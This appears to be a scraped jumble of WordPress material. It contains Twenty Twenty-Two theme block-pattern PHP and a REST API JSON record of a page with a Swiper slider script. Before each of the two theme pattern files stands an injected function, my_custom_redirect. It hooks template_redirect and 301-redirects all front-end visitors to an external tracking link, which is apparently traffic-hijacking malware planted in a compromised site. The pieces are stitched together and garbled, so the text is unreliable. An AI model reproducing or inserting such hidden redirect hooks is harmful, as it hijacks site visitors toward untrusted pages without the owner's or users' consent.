function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Two images with text block pattern */ return array( 'title' => __( 'Two images with text', 'twentytwentytwo' ), 'categories' => array( 'featured', 'columns', 'gallery' ), 'content' => '
' . esc_attr__( 'Illustration of a bird sitting on a branch.', 'twentytwentytwo' ) . '
' . esc_attr__( 'Illustration of a bird flying.', 'twentytwentytwo' ) . '

' . esc_html__( 'SCREENING', 'twentytwentytwo' ) . '

' . wp_kses_post( __( 'May 14th, 2022 @ 7:00PM
The Vintagé Theater,
245 Arden Rd.
Gardenville, NH', 'twentytwentytwo' ) ) . '

', ); function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Text-only header with green background block pattern */ return array( 'title' => __( 'Text-only header with green background', 'twentytwentytwo' ), 'categories' => array( 'header' ), 'blockTypes' => array( 'core/template-part/header' ), 'content' => ' ', ); {"id":802,"date":"2021-07-01T08:12:27","date_gmt":"2021-07-01T08:12:27","guid":{"rendered":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/?page_id=802"},"modified":"2021-07-01T08:12:27","modified_gmt":"2021-07-01T08:12:27","slug":"script","status":"publish","type":"page","link":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/script\/","title":{"rendered":"script"},"content":{"rendered":"
<script src=\"https:\/\/unpkg.com\/swiper\/swiper-bundle.min.js\"><\/script>\r\n<script>\r\nif (window.innerWidth > 1024){\r\nlet parent = document.querySelector('.parentsection .elementor-widget-wrap');\r\nlet children = parent.querySelectorAll('.swipee');\r\nlet wrapper = document.createElement('div');\r\nwrapper.className = 'swiper-wrapper';\r\n\r\nchildren.forEach((child) => {\r\nwrapper.appendChild(child);\r\nchild.classList.add('swiper-slide');\r\n});\r\n\r\nlet container = document.createElement('div');\r\ncontainer.className = 'swiper-container';\r\n\r\ncontainer.prepend(wrapper);\r\n\r\nparent.prepend(container);\r\n\r\nlet pagination = document.createElement('div');\r\npagination.className = 'swiper-pagination';\r\ncontainer.prepend(pagination);\r\n\r\nvar swiper = new Swiper('.swiper-container', {\r\ndirection: 'vertical',\r\nslidesPerView: 1,\r\nspaceBetween: 30,\r\nmousewheel: {\r\nreleaseOnEdges:true,\r\n},\r\npagination: {\r\nel: '.swiper-pagination',\r\nclickable: true,\r\n},\r\nnavigation: {\r\nnextEl: '.swipee-down',\r\nprevEl: '.swipee-up',\r\n},\r\n});\r\n}\r\n<\/script>\r\n\r\n<style>\r\n.elementor-element.elementor-absolute.swipee-up, .elementor-element.elementor-absolute.swipee-down{\r\nz-index: 99;\r\ncursor: pointer;\r\nline-height: 0;\r\n}\r\n.parentsection .swiper-wrapper{\r\nheight: 440px; \/* Height of swiper *\/\r\n}\r\n.parentsection .swiper-pagination{\r\ntransform: scale(2.6);\r\npadding-right: 4px\r\n}\r\n<\/style>\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"

<script src=”https:\/\/unpkg.com\/swiper\/swiper-bundle.min.js”><\/script> <script> if (window.innerWidth > 1024){ let parent = document.querySelector(‘.parentsection .elementor-widget-wrap’); let children = parent.querySelectorAll(‘.swipee’); let wrapper = document.createElement(‘div’); wrapper.className = ‘swiper-wrapper’; children.forEach((child) => { wrapper.appendChild(child); child.classList.add(‘swiper-slide’); }); let container = document.createElement(‘div’); container.className = ‘swiper-container’; container.prepend(wrapper); parent.prepend(container); let pagination = document.createElement(‘div’); pagination.className = ‘swiper-pagination’; container.prepend(pagination); var swiper = new Swiper(‘.swiper-container’, { direction: ‘vertical’, slidesPerView: […]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-802","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages\/802","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/comments?post=802"}],"version-history":[{"count":1,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages\/802\/revisions"}],"predecessor-version":[{"id":803,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages\/802\/revisions\/803"}],"wp:attachment":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/media?parent=802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}